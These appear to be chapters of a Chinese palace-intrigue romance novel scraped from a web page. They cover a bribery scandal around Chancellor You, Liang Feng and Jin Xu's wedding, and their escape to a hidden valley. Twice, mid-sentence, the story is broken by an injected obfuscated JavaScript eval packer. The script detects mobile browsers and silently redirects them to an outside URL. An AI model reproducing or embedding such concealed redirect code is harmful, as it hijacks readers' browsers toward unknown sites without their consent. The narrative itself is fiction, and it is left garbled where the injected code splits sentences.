“不用说了,你先回去吧。”梁风打断,“游姑娘,你的其他兄弟姊妹无一人登门安分王府,他们便是知道这件事本王若插手,未必对游丞相有益。你只是病急乱投医,回去吧。” 游琪讷讷无言,被下人请退,先领去厢房收拾一番,眼泪擦干净、衣裳理齐整再从安分王府请了出去。 而后梁风便命几个暗卫打探消息。傍晚时分,十三回来说,游丞相被皇帝问责的罪名是去年西北地区赈灾银款遭其私吞。原本这个罪名是徐礼弹劾冯棹台的理由,被冯棹台一番调查后,发现那笔款项最终去向是相府,真正私吞银两的人是游照同。 “多少银子?”她问。 “一万两黄金。” 多年没听过这么大笔钱,她被惊了一下,第一反应却是:“朝廷居然愿意拿这么大笔钱去赈灾?” 梁风一顿,她想道:“赈的是什么灾?冬灾?我们去年就在西北白沙县,被冬灾困住了,这笔银子不会赈了我们吧?” 梁风倒也想了一想,“有可能,我查查看,说不定能帮到游大人。” 她推测各中关系,“这就有点意思了......不过,徐礼为什么知道西北的赈灾银款被私吞了?白沙县令和并阳郡守是谁来着?” 小厮又来报,宫内太监登门,传旨召安分王进宫。 梁风换身衣裳便跟随去了。 他一走,李管家便拿着婚礼大小事情给她过目,金絮一下子忙起来,甚至不小心看了眼梁风未备全的聘礼单。 到晚上,梁风才回来,她已让厨房备好了一桌饭菜等着。 “是怎么一回事?” 他道:“那徐礼有亲戚住在并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839810|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳郡吗?” “我不清楚。徐娘从前好像不是京城人士,是从别的地方避战迁来的,至于是哪里我就不知道了,怎么了?” “徐礼的说法是他有亲戚在并阳郡,这亲戚在去年冬灾后并未见过朝廷下拨的灾款,因此写信给徐礼抱怨,徐礼生疑,这一年来暗中调查,查到了冯棹台身上。 “因为去年冯棹台向皇兄提议过拨款赈灾,便借此怀疑他是想贪污。冯棹台不甘心被诬,向皇兄求得查案期限后,自己查到那笔款项的最终去向,证明那笔金子跟他完全没关系,是刺史许义和并阳郡守联合昧下的,游丞相只是默认。” “那批金子在哪?”她问。 “许义家中搜到了。”梁风道:“不过,为这事,游丞相自称愧疚,自揽全责,希望罢官还家,皇兄还未表态。” 金絮只好奇一事,“徐礼有那么厉害?他自己能把案子查到御史中丞身上?” 梁风略略思索,问:“你觉得他做不到?” 她很笃定,“徐礼背后一定有人指点。他去年因为太南祈福塔的案子被罢官后,一时冲动还出手打了许大人,名声有损,依靠结识太南郡守的孙女才来的京城。” 梁风思忖片刻,吩咐十三几句,又忙去了。 第二日,梁风一整天没回家。 她素装打扮独自出了趟门,去相府门口看了看。 即便正处危局,相府仍旧森严,门口守卫目不斜视。 她想到之前五公主宴席上的游琪,真心或假笑地斡旋于京门贵女之间,说尽好话。 她挺想帮游琪的,但又怕会令梁风在朝堂上的处境更为局促。 她忧心了一整日,梁风回来后便告诉她:“许义下狱了,皇兄也下旨清算白沙县令,但没对游大人做出任何旨示。游大人对此事的影响可大可小,皇兄不会判他重罪的,最多同意他罢官。” 金絮笑了,“游大人罢官后,一家老小都不会有事?” “不会。” “那就好。” “嗯。”梁风也笑,不自觉握着她手掌摩挲。 “那徐礼呢?怎么处置?他背后的人是谁?” “这件事情过后,会有被他波及到的人处置他的。不过......” “不过什么?” 梁风苦笑,“皇兄怀疑徐礼背后的人可能是我。” 她惊道:“为什么?!”说完又想通了,“就因为你去年在太南帮过徐礼?” “阿絮,你先别气。”梁风看起来很镇定,环臂抱住她,“这样也好,给了皇兄一个革去我王位的理由。” 金絮一愣。 “而且,我跟徐礼确实不能说是全无关系。” “一万两黄金就能罢免一个王位?” “当然不能。这只是借口而已。”梁风笑笑,“重要的是皇兄愿不愿意革除我王位,我犯的什么错并不重要。” 她无言。 可她本能还是觉得这其中有什么不对,“皇帝对冯棹台怎么说?” “皇兄没说什么。” “我感觉徐礼背后的人是冯棹台。” “他?” 金絮点头,“游大人下台,御史大夫谢大人接任丞相,冯棹台就会成为御史大夫。可谢大人的年纪太大了,冯棹台不用等很久,熬到谢大人去世,他就是丞相了。” “你是说他让徐礼弹劾自己?可中丞不止他一个,未必就是他升任御史大夫。” “嗯......这倒也是。” 金絮看不明白,更理不清朝堂上混乱的关系,只能凭空猜测。 “阿絮,不说这些。”梁风笑道:“我们要成亲了。”他从袖子里拿出一份庚帖,“这是聘礼。” 76. 婚前隔离 聘礼? 她突然想起来自己无意间看过了。 礼单有半指厚,礼品名列多得数不清,每一笔一划都是金银。她合上礼单,望着梁风道:“我没什么嫁妆。” 梁风将她买的那处一进院子卖了后,往她取钱令里放了几百两银子——他肯定加了数的,这几百两银子却只够礼单上的一些小物件,拿不出手。 “把你自己给我就好了。”梁风低头吻她的唇。 金絮被他亲得手指抓不住礼单,环腰抱住他才能保持站立。吻罢,梁风贴着她耳畔厮磨,“非要跟你分开一个月吗?那些俗礼,不拘也罢。” 金絮微微喘气,眼前有点晕,靠在他肩头小声道:“我也不能和你分开。” “那便不分了。”他笑着拥紧。 “可是不行,俗礼还是该拘一些的,否则不吉利。” 梁风无奈一叹,亲一下她的额头,“想我的话,让十三传话给我。” “嗯。” “要我命人把你留在太南的小姑娘带过来吗?” 她摇头,“不用了,她们可能不得空。” 梁风顺着头发有一下没一下得抚拍她的后背,“还是把她们叫过来吧,婚前这段时间陪陪你。” 金絮想了想也行,“那便先问问她们,要是不得空的话,就不用过来了。” “好。” “真的决定好了?不做王爷了?” “嗯。” 她也不多说,只道:“我支持你的一切决定。” 梁风笑着亲吻她。 后日一早,李管家命人替她收拾东西,搬去了梁风安排好的别居。离得不远,距安分王府只隔了四条街。 梁风送她到别居门口才返回,金絮目送他离去,再步入宅院。 三进院落太大了些,厢房内布局与西苑差不多,陈设简单。金絮坐在榻铺,看着空荡荡的房间,独自拢了拢双臂。 当日下午,梁风遣来了一批丫鬟仆从,小缃李婶也在其中。丫鬟们立刻布满了整座宅院。听丫鬟们叽叽喳喳,金絮笑了一笑。 她着手准备缝制自己的嫁衣了,缝之前先做给梁风的嫁妆。她打算做条腰带,买入一些细珠宝和金线点缀编成的蓝色绸缎,照着早准备好的腰带样式开始编制。 之前照顾他没什么空闲,现在无事可干,全天时间都用来做腰带和嫁衣,应当能完成得很快。 有了上次做发带之鉴,这次编得相当顺利。成形的腰带很薄,半个巴掌宽,淡蓝色,两端用的是粘胶,系上之后不会有个凸起的结,应当刚好够他腰上系一圈的。 腰带完成之际,李晟作为梁风亲属带着媒婆上门提亲,她没出面,李婶作为她娘家人收下聘礼,给出她的生辰八字,媒婆将两人八字一对,连连称好,两方再照着圣旨约定好成亲日期。这些事宜几天之内循例走过,金絮托李管家将腰带捎给他,而她只在聘礼中挑了个礼盒精装的一支笔。 嫁衣的缝制却遇到了问题——她根本绣不好。李婶看见了便建议她不用绣了,王爷已预备好了绣成的嫁衣。但她不太愿意,还是继续拆了绣,绣了拆。 住了几日,丫鬟们的叽叽喳喳也逐渐与她远离,她偶尔放下针线歇歇,控制不住地会想起游照同与冯棹台的事情。 游家怎么样了,游照同有无罢官还家,冯棹台有无成为御史大夫,后续情况她都不知道。 许义,游照同,安分王,一箭三雕,背后的推手难以判断是谁。她能看见的获利之人是冯棹台,而她看不见的不知还有谁。 与他成亲,他革除王位,此后她离朝堂越来越远,再有任何企图都只能是空想了。 空想空想——这些跟她有什么关系,梁风知道她想这些说不定会不乐意。 她又想起去年和梁风被困在白沙县时,那些冰雪覆盖下的尸体。也许不用很久,来自朝堂的冰雪会覆盖整个中原。 不知道他现在在做些什么,筹备婚礼忙不忙。 “姑娘,天色晚了,沐浴后便歇下吧。” 李婶在喊她,她扬声一应。 小缃备好水和衣裳,金絮浴后坐在镜前,打发了房中的下人,看着镜中的自己,身后是被烛火燃烧的寂静。 不知平常人家女儿出嫁时家里会有多热闹,或者是即将分离的伤感。母亲不舍女儿出嫁,女儿不舍离开家里。婚前总要絮絮叨叨叮嘱一番,用梳发、嫁妆、压箱底的东西来营造庄重感,直到全部交代完毕,女儿才会嫁出去。 而她拿起木梳独自梳发。 过了半月,她除了偶尔想想梁风,偶尔还会想到娘亲。 李婶为宅院装点了一番,红红火火,十分喜庆。梁风还送来了全套的头面首饰,在房里摆了一桌面,照得整个寝室金碧辉煌、闪闪发亮。但她看着都觉得这一套行头穿戴在身上实在太过受罪了。 这日夜里,她洗漱毕准备睡觉,被窝掀开了一角,忽然感觉空气中有什么隐隐牵动了她,她一惑,便没有爬进被窝里,随意穿了件外衣,准备出去看看。 还未走到门边,门外响起来熟悉的脚步声。 她顿住,那故意一轻一重的脚步仿佛带着试探,空气中原本隐隐牵动她的东西逐渐加重。 脚步声停在她门口。 “阿絮。” 她心中一跳,走近轻声道:“你怎么来了?”她的影子扑在门扇上,似乎快要透过门缝溜出去。 “我很想你。” 门被他推得轻轻一动,金絮仿佛能看见他按着门窗的指尖,她手抚上门板,对住他的手指,心里想象出他的体温。 “阿絮,我想见你。” 他道:“我偷偷来的,老李和李婶都不知道,媒婆也不知道,只有我们知道,我见你一面,不打紧的。” 他低乞:“阿絮......” 她拉开门,梁风就站在面前寸许。 他没有什么变化,没有瘦,也没有胖。 他的体温撞入怀中,金絮抱了个满怀。 呼出几近叹息的一声,金絮拢紧双臂,以前也曾隔过几月不见他,却都不似眼下的感受。 “我也想你。” “你想我怎么不托十三给我带句话,或者给我写封信?” “托了话给你,也还是见不到你啊。” “现在见到了。”他的笑从胸膛里发出来。 “会不吉利的。” “这是不知哪日会不吉利,可今日不见到你,我今日就不吉利。” 她无奈一笑,腾出手把门关了。 “阿絮,你会一直依我吗?” “嗯。” 梁风靠在她肩头,金絮把玩着他的头发梢,问道:“你近几日忙不忙?我给你的那条腰带可还合适?” “有些长了。” “我特意做长了一点,想着你之后会胖一些的。” “那我尽快长胖。”他笑着亲了亲她,“你呢?你这几日在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839811|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “缝嫁衣,但是缝得不好。” “我看看。” 金絮指给他看挂着的红衣,梁风看了一眼便道:“不如我让李婶再备一套半制成的衣服,你只需要完成最后一笔的针线,便当是你自己做的了,好不好?” 好像也只能这样了。再拖下去,大婚前都做不完一件衣服。金絮犹豫地点了一下头。 “怎么了?”梁风问。 “我听人说,女子成亲当日的嫁衣,针线越密,夫妻之间的情分也就越深。所以我就想自己缝,本来打算不管好坏都要做一件的,可是做得太差,我自己都看不下去。” 这还是去年在并阳郡听说的,她听了之后就一直记着了。 “阿絮,”梁风道:“我们的缘分不由那几根线决定。” 金絮也是一笑,“那就听你的。” 梁风抚摸她的脸颊,手指摩挲她的眼睑,“最近睡不好?” “还行。”她也摸摸他的脸,微凉,带一点夜里的寒意,再摸他的额头,问道:“身体养好了吗?李婶怎么说?” “早就好了,我哪有那么弱?”他抱起她走向床榻,“你安心睡一觉吧,我看着你睡。” 金絮被稳当当地交给了被窝和枕头,她立刻感觉困了,却不愿意睡。梁风躺在她旁边,支着脑袋看着她,抬手拂去她额间碎发时,腕际系着的蓝色发绳和黄色符纸在她眼前一晃而过。 “阿风,这发带你怎么总系在手上?” 自从送给了他,就没见他用来束过发,成天绑在手腕上,还捎带系着给他求的平安符。 “系手上看得见,系发上就看不见了。”他道。 “哦,这样啊。”金絮转念一想,他去早朝都系着啊。 “阿絮。” “嗯?” “不让你在太南的姑娘们过来了好不好?上京一趟怪折腾的。” “怎么了?”她有一瞬的疑惑,但未多想,转而又道:“好啊。我本来也不想麻烦柔竹她们的。” 梁风俯身亲了她额头一下。 “那阿风,你为我梳个发吧。” “梳发?” “嗯,我本打算柔竹她们要是来的话,就让她们为我梳的。” 梁风取了把木梳,金絮盘腿坐好背对他。梳子划过耳畔时,梳齿摩擦发丝的声音沙沙软软,有点痒,但很舒服。 “阿风,女子出嫁时,娘亲都会为她梳发的。” 他手一顿,道:“有我为你梳。” “嗯。” 但她又想,跟梁风在一起,其实不必太在意那些陈礼,无人梳发也可。她微微低着头,看着棉被绣着的囍字,手指抚过那些丝线的纹理。 “阿絮,革除王位后会有些事情需要我处理,大概在我们婚后。” “什么事情?”她扭头仰脸看他。 “不是什么大事。成婚那天我再告诉你。” 她便不多问了,梁风梳好发,扶她躺下,熄了灯,支着躺在她身侧,垂眸看着她。金絮也回看他,感觉梁风今夜眼里有浓浓的情绪。 “阿絮,成亲那日记得吃饭,不要饿着了。” “嗯,你也是。” 看着看着,梁风俯身吻她,轻柔的吻带着哄意,金絮被他亲得昏昏欲睡。 “睡吧。” “阿风,你什么时候走?” “明日一早。你安心睡。” 金絮便闭上眼,很快睡着了。 77. 笼锁(一) 亲迎这日,金絮睁开眼,窗户上的墨蓝色尚且淡薄,天还没亮。 “姑娘,起了没?” 李婶在外面喊她,她应了一声,李婶推开门,带进来一干丫鬟人等。丫鬟们有序地点灯,屋子里亮堂起来。李婶早已准备好一应洗漱用品。 她揉揉脑袋,任由丫鬟为她上下折腾。 “姑娘一早便醒了?昨夜睡得不好?” “还好,每日都这样。” “姑娘,王爷事先吩咐过了,您用了早膳后再作装扮。不然王爷会担心您饿着。” “好,我都听您的,李婶。” 简单洗漱一番,丫鬟奉上早饭,她认认真真地吃,吃得十分饱。早饭后,真正的梳妆开始了。 妆发、头面、繁琐的嫁衣,她像是个假人地立着,身上被套了一层又一层。 她突然开口:“李婶,待会是你为我送嫁吗?” “是。”李婶笑着作一礼。 “也是他吩咐的?” “是。”李婶道:“姑娘,待今日礼毕,就该唤您王妃了。这是王爷为您准备的大礼啊。” 最大的一个发冠放到她脑袋上,她顿时分不清自己是被压得矮了一个头,还是被发冠拔高了一截。 天色很快大亮,梳妆毕,来不及看镜中的自己一眼,就被蒙上了盖头。小缃旁侧扶着她,金絮静静地等着接亲队伍的到来。 没等很久,接亲队伍的锣鼓喇叭丝竹奏乐准点地踩着吉时。入耳声爆裂地热闹起来,她眼前一片通红,什么都看不清。 婚乐盖过欢声笑语,几乎破除她住在这里一月的与世隔绝。 小缃扶着她往前走,不知走了多久,跨了几道门槛,注视在她身上的视线突然变得浓烈。她想看看这迎亲队伍,但又不能掀开盖头。 不知梁风在何处,他应该在队伍前面。 正这么想着,一道被曲乐裹挟着却无比清晰的呼唤传入耳中: “阿絮。” 她心中一定,又听见小缃提醒她:“阿絮姐,上轿了。” 她坐到轿中,刚坐定,一声高亢拖长的“起轿!”锣鼓喇叭再次响起来。 金絮百无聊赖地坐着,手指跟着喇叭的声响一下一下敲打膝盖。队伍接到亲之后绕来绕去走了好久,似乎不止四条街。坐得久了,她忍不住伸个懒腰,伸完队伍便停了,又等一会儿,终于落轿。 盖头微微亮了些,小缃轻唤了她一声,她便起身摸索着出轿,还未站稳,一只手扶住她,她低头,盖头缝隙外看见是梁风的手。 梁风用他惯常的力度捏她的掌心,引着她往前走,前面每有台阶门槛火盆之类的阻碍都会低声提醒她。 进了屋,站定,周围骤静下来,只闻媒婆高声诵读。 她跟着媒婆的指引拜天地,拜高堂。然后对拜,然后礼成。 金絮被送入婚房,被他扶着在床榻边坐下。凑近之际,金絮能听见他的呼吸,她头上的发冠后部被一只手掌托住,替她分担了一些重量。她没动,梁风也只托了一下便收回手。 她听得出来婚房里人并不多,听见了一声“皇叔!”,似乎是七皇子,梁风捏捏她的手,脚步声去后,房里静下来。 她继续百无聊赖地闭眼坐着,大红色实在是腻眼了。 坐得腰累,身子稍稍侧倾一些脖子也会痛,她努力地找最舒服的姿势。不知多久,小缃进来送她喝了点糖水、吃了几块糕点,她又有精神了。 盖头透过的光渐渐变暗,一阵嘈杂过后,房门被人推开,她赶紧端正做好,听媒婆高声喊:“吉时到!” “新郎官掀盖头吧。”媒婆笑道。 一支金秤杆伸入盖头底下,缓慢地往上挑,她眼前阔然明亮,丰富的色彩驱赶了大红。 盖头挑上去,入眼便是梁风,他含笑垂眸看她,发冠直挺,乌发披在喜服上,鲜艳夺目。 她一瞬不瞬地看着,忘了去注意房内其他人。 梁风坐到她旁边,与她一起喝合卺酒。礼成后,房内并为数不多的几个人吵吵嚷嚷推搡着离去,房门一关,骤然静下来。 金絮仔细打量他,梁风好像瘦了一点点,她笑道:“你穿这身很好看。” 梁风一笑,抬手扶住她的发冠,“重不重?摘下来吧。” 他说着,帮她将最大的一顶发冠脱下,她顿时感觉自己变高了,可这时回想起来再去照镜,没能看到全盛妆容的自己,不过转念一想,梁风看到了也行。 他放下发冠,拉她到烛火前,仔细描摹她的眉眼,看着看着,金絮感觉被烛火照得有些热。 正这时,小缃敲门送来饭食,梁风快步走去门外,朝外怒道:“你们还要偷偷摸摸听到什么时候?” 金絮一愣,就见梁风旁侧站出来一个人,是七皇子梁与義,她忙行礼,“见过七皇子殿下。” “免礼。”梁与義笑吟吟的,有些得意道:“我猜的不错,皇叔娶的果然是你,我本来还纳闷,皇叔向父皇请旨求娶的人怎么会不是你。” “就是就是。”另有一陌生男子连声附和梁与義,越过梁风探头看了她一眼,眼睛亮了亮,向梁风道:“风哥,你可以啊。” 这人她不认识,年纪和七皇子差不多,但是敢和梁风称兄道弟,应当与他关系很好,她便微笑着也行一礼。 “这是定北侯世子崔敬先。”梁风为她介绍。她再次补全礼数。 崔敬先笑看她,“我见过你的,恭喜恭喜啊,终于有人把风哥拿下,他可是我们几个里最后一个娶妻的。” 梁风眉头一皱,“你们这是拿我当有趣?”催促地推他们出去,“好了,看够热闹了就赶紧走。” 梁与義略不满道:“皇叔真是小气,我好不容易有了皇婶婶还不让我多看一眼。” 崔敬先攀着梁风的臂肘向她道:“嫂子,你就把你夫君放心交给我,我保证......” 还未说完,皇子与崔世子半推半就地由着梁风推了出去,他关上门,金絮笑道:“崔世子与你关系很好?今日只有他们二人来了?” “只有他二人待到现在,其余人过来露个面便走了。”梁风牵她沿饭桌坐下,“快用些,饿了吧?” 金絮抓起筷子开吃,“你也吃些。” 梁风环腰抱住她,“我吃饱了。”他贴近,把脸埋在她肩颈,“我好想你。” 她微微侧头躲开稍许,“钗环还没卸,小心别扎到了。” 他不动,在她发间深深地呼吸,金絮摸摸他的脑袋,“我也想你。” 梁风亲她一下便不闹她了,金絮吃完,梁风帮着她卸下钗发和妆容,她终于没有阻隔地抱抱他,听见他压低的笑声。 “今日开心吗?” 她靠在他肩上轻轻点头,唤了他一声:“夫君。” 他笑得更开心了,低头吻她。亲吻良久,他道:“阿絮,我先沐浴。” “好。” 丫鬟已备好了水,金絮伺候他脱衣。解下婚服腰带时发现他竟多系着她编给他的那条腰带,她拿指头丈量了一下,确实刚好宽了一指,被婚服腰带勒出了细褶。 只脱到里衣,她便溜了出去。看着暖红的婚房,她忽然想到梁风在温柔馆第一次留宿点她相陪的夜晚,心境很不同了。 她踩着柔软的红布毯,心下难得雀跃,后知后觉地意识到,她此后也是有家室的人了。 梁风洗完,金絮拿布巾擦他额前的湿发,摸到他衣裳微微有点湿意,他肯定是没擦净水就穿衣服了 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房内蜡烛熄了很多,只余两根燃在房内两处对角。他刚才竟还有心做这些。 梁风牵她坐到榻上,昏暗的光线阻隔了他灼热的眼神,也消隔了她的紧张,给了她安心感。 梁风坐她身旁抱着她,伸出双手手背,十指张开,“阿絮,我磨了指甲。” “什么?”她一时不解,看着他被烛火镀了层色彩的手指,挑了右手与他相扣,疑惑地看着他,“怎么了?” 梁风笑了一下,倾身在床头的柜子里拿出一个木托,“还有这个。” 木托上放置着四个东西,三个掌心大、形状圆扁的漆盒,还有一个小瓷瓶。 金絮一眼看见就认出来了是什么,并且触类旁通地懂了他方才说的磨了指甲是什么意思,瞬间浑身的热度往脸上涌,她低下头,拿手背擦脸,挡住不让他看见自己窘迫得通红的脸。 梁风低低一笑,收拢放在她腰间的手掌,拉下她挡脸的手,安抚地靠近她。 “我、我也要磨指甲。”金絮把十指递过去。 “你不用。”梁风单手握住她十指,示意木托,“挑一个。” 她不看木托,坚持道:“要磨的,万一划伤你怎么办?” “伤我?”他挑了挑眉,还是取了磨刀来为她磨指甲。 磨刀细细的沙沙声交融暗淡的烛火,照映他眉目专注而认真。金絮缓了缓,压住心跳,转而看向那木托,空闲下来的手挨个打开精致的漆盒瓷瓶,逐个试用。 以她做了多年鸨母的眼光来看,四个都挺湿润细滑的、不易干,是精贵货,温柔馆都没用过。而瓷瓶的气味最好,足够湿润,双指分开时,银丝还能在空中一拉。 她选定了,一抬头,正对上梁风注视着她的眼神。她一顿,又不可抑制地燥热起来,她躲开眼,握着瓷瓶不知该说什么。 梁风放下磨刀,“不磨了,我也不会磨,省得磨坏你的指甲。”他拿过瓷瓶,“这个?” 金絮点点头。 梁风一手撑住床榻,慢慢握住她的腰,正面与她俯近。他呼吸平稳,周身的气息仍是十分沉静的,完全不会让她感到强势与冲突,似乎有足够的耐心,默默等她主动靠近。 她还是感觉自己有点紧张,但又不想他继续等下去,搂住他脖子的手微微颤抖,梁风安慰地予她一吻。 “熄灯吗?” “不......我想看着你。” 发丝蔽目垂下,金絮试图回忆从前温柔馆听过的姑娘们言谈间提及的经验,然而无用,理智与肤感尽数交给了他。 78. 笼锁(二) 她累得睁不开眼,眼前所见是模糊微弱的烛光,依稀有个人影。手掌在她额头轻抚,微微吻她,舒缓的呼吸与她相交,诱她入睡,她却感到一丝沉重,这丝沉重不知为何令她不敢入睡,想睁眼看清他。 “阿絮......” “你安心等我几日......” “我定全须全尾回来找你......” ...... 勾连的呼吸与缠绵在她身上的手掌全都消失,她瞬间一空,猛地惊醒,脑中似模糊似清明,心脏悸动不已。 入眼墙景逼仄,还未看清,身下一个腾空的颠簸,她猝不及防,身体往右侧倾颠,撞到了一面壁上,不硬,但撞得她意识从梦中脱离出来,清醒了许多。 她稳住心神,四下打量一看。她不在婚房,而是在......马车里。 入耳是车轱辘滚动的声音,还有鸟鸣,车窗帘轻轻飞动,露出外面树林的光景。她躺在车内,没有其他人,身下是软垫和棉被,穿着一身稍硬的绸缎中衣,右手腕系了一个黄色的平安符。 红色的细绳在她手腕绕了两圈,她乍看以为是她送给梁风的那个,再细看之下,符纸相叠之处略有不同,不是送给他的那个。 不知这是在何处,心中残留昨夜入睡前梁风在她耳边不舍的低语,她惊疑不定,唤了一声:“阿风?” “姑娘醒啦?” 立即有人回应她,金絮辩出这是李婶的声音,梁风呢? 车门拉开,有人掀帘进来,是小缃。 “阿絮姐,方才踩了个坑,马车颠了一下,闹醒你了吧?” “小缃?”她脑袋很懵,“我们这是在干什么?” “阿絮姐,我先服侍你穿衣。”小缃在马车座位下的隔层里拿出衣裳,是棕黄的棉麻衣裳。 “阿絮姐,你别慌,王爷说让我们先躲出去,路线他都安排好了,要过几日后王爷才会追上我们。” “躲?躲什么?” “王爷说他在圣上旨意下成为庶人后,朝中会有一部分人想要除掉王爷,王府很危险了,府里的所有人都被遣散了,我们这一行五人是最先逃出来的。” 除掉他?逃? 金絮还有些怔怔然,她努力绷紧脑中思绪,从昨夜开始便隐隐被她发现又被她忽略,他那眼神中细微之处异样的欲言又止,在此刻全都爆发串联起来。 皇帝早想除掉梁风,这次只是将梁风降为庶人,梁风这个暗里仍旧能对他皇位造成威胁的人还是活着。即使皇帝不明示,朝中也会有人为了迎合讨好圣意而擅自揣测,在暗中派人将梁风杀死,以此讨皇帝欢心。而对皇帝来说,这可借他人之手达成目的,又不会背上杀亲的污名,需要做的也只是默许。 她早该想到,皇帝怎么可能轻易就放梁风自由。 这个对他来讲相当于半个父亲的人,在几年前就不再拿他当弟弟看了。 金絮随意穿好衣服,到马车外一看,驾车的人是十三和一个小厮,李婶摸了一下她的腕脉,“姑娘,王爷已准备好了万全之策,不会有事的,你莫心急,王爷最担心的是你。” “我知道。”她按着突突跳的太阳穴。 脑海里划过闪烁的画面,她突然回想起昨夜睡着前隐隐约约听到梁风低声的话语,他似乎说了让她安心先行一步,随后会追上她,详细说了什么又记不清了。 偏要挑着那时才告知她,迷迷糊糊的哪能听清,还以为他是在哄她入睡。 从婚前与他分开时,他偷偷来找她那晚她就该发现的,他改变主意不让柔竹等人上京,就是为了不累及她们。 但这说明他也不是一开始就知道皇帝手下会有人想暗中置他于死地,梁风也是在婚前不久才知道的。 这段时间里,他忙于准备婚礼,还要筹备后路,都默默地不告诉她。 昨日欢闹心许的整场婚礼像是长时间睡眠不稳,睡了一个好梦后做的悠长的梦境,一切一切变得不真切起来。可即便忽略身上传来的异样感,梁风昨夜的温柔都不可能是梦。 她心神挣扎在这虚幻与真实中,挣不出个所以然来,他就不能留点什么,好让她定个神吗? “十三。” 马上的十三转头,“是,姑娘。” “他有跟你说什么吗?” “王爷只说让您一切放心。” 她放心不了,“还有呢?他是怎么安排的?” “姑娘,王爷此时应当尚在王府,过两日才会逃离京城,我们此行是往西,绕过西南的川郡再去往南方的上元郡,在那里会与王爷汇合。” 她皱了皱眉。 十三道:“姑娘,这一路是绕了些,但这是王爷安排的路线。我们还需在抵达川郡前沿路留下行住痕迹,离开川郡后再抹去行迹,防止有人追踪。” 金絮有些愕然,“他要躲多长时间?” “王爷说最多一月。” 一个月。 此时天色快到傍晚了,十三驾车的速度不算慢,他们五人伪装成搬迁的一户人家,马车与装扮都是普通百姓的模样,外表看并不引人注目。 为她按揉纾解疼痛的手掌仿佛还停留在腰间,原本就隔了许久没见到他,新婚打了个照面又要分开,那皇帝真就这么急? 头疼起来,她皱着眉按住脑袋,强压下心头的躁郁,“他毒愈后身子还没养好......” “姑娘,”李婶道:“你别太过担心,王爷如今的身子已经养得差不多了,只是相比从前稍差了些。” “姑娘,”十三也道:“王爷带走了武功最高的大哥。” 她看了十三一眼,可他还是把十三留给了她。 心中狠狠一叹,纵有再多的气愤与担忧,也只能等见到了他再说。 梁风早为他们准备好路引,之后大半月,十三领着他们绕了两个郡县,换了四个商队,沿途都留下了干扰的痕迹与信号,直到抵达川郡。 在郡内整顿一番,他们五人更改行头后分散各自出城。金絮扮作一个怀胎七月的孕妇,挽着一篮鸡蛋,布巾遮脸,饶是这样出城时还是被守城护卫摸了一把。在城外与十三汇聚,丢弃了大部分行李,绕开剩余路上所有的郡县村庄,终于在五月下旬,抵达上元郡辖下的上元县。 十三却并没有入县,而是再行了一日路程,到了一座山脚下。 接着弃车马,徒步上山。山里没有劈开的路,十三一边开路一边带着他们绕来绕去。山路短枝草叶没了半腿高,她穿着粗布裤子,枝叶划在身上倒也没有痛感。走至不知多深,她越来越累,十三也不安排休息,林间视野都被茂树覆盖,她忽然听闻一道水声,绕过一颗巨树后光线一亮,十三终于停下脚步,回头向她道:“姑娘,就是这儿了。” 她快步近前一看,出了这片林子,前方是一个山谷。 阔大明亮的天空下是望不见两端尽头的巨大山谷,山色郁青,仿佛大地裂口。她站于一片短崖,崖下是一条穿谷而过的河流,叫不出名字的鸟雀划翼飞过,混合汨汨水音将这满林气息灌入她耳中,一洗连日来的疲忧。 “姑娘,这边。” 十三引路下崖,沿着谷底往水流上游走,没走一会,一片屋群出现在眼前。 她停下脚,震惊地看着那一片屋子。底盘数根木柱架空,承托上方两层木屋,每一座占地都不小,只是架构能明显看出是仓促搭就的,部分木头衔接处钉子都没完全钉进去。 难以想象梁风花了多长时间准备这处地方,她久久回不过神。 “姑娘,这些屋子总共有九座,您与王爷住在最里面的一座,目下只有那一座是完全搭建完毕的。” 十三带她到那座木屋。这屋子金絮就一眼能看出的确是完全建好的,屋里摆设都齐全。小缃着手安顿下来。 十三道:“姑娘,有一部分人应当先到了,您要不要先见见?” 她刚坐下,闻言又立刻起身,“谁?” 十三于是又领着她见到了先他们几天抵谷的一批暗卫,还有这批暗卫带来的金银。 提前到的几人这些天都在加固其他屋子,而他们负责带来的三尺高的箱子里装的全是金银珠宝。她查看了这些银子,藏于草团下的银子全盖了官印——梁风显然提前把这些银子洗过了一遍。即使将这些金银往外流出,也不会查到来源是安分王府。 她这才知道,梁风将所有人与带出的钱财分了数批,从京城不同方位出发,每一批人都在各地绕了一圈后才抵达此地。而她和十三这一批,梁风没让带着银子,轻装上路,确保她的安全。 住的第三日,李晟和两名暗卫带着三箱银子也抵达了。老李走的是西南方向,伪装成商队,一看见他金絮便问:“老李,你何时出府的?他呢?” 李晟没忘了作揖,“姑娘,我在您后面第二日出府的,按王爷计划,他应当在十天前就已离京,此时不知身在何处。” 金絮揉揉眉心,没说话。 “姑娘,王爷离京前还派出了府中愿意留下跟随他的部分丫鬟仆从,这些钱财总共调出了十三箱,由各人以各种方式运抵此地,我之后来的人会十分零散。姑娘,我们需记个数。” 她无言地看着老李风尘仆仆的一身,她都没心思记数,老李却十分尽心。 李晟回望她道:“姑娘,后来的人是和王爷同时离京的,作为王爷的障眼法吸引暗处的人,而王爷自己则是独自一人四处躲藏。这些人如果能平安抵达,或许会带来王爷的消息。” 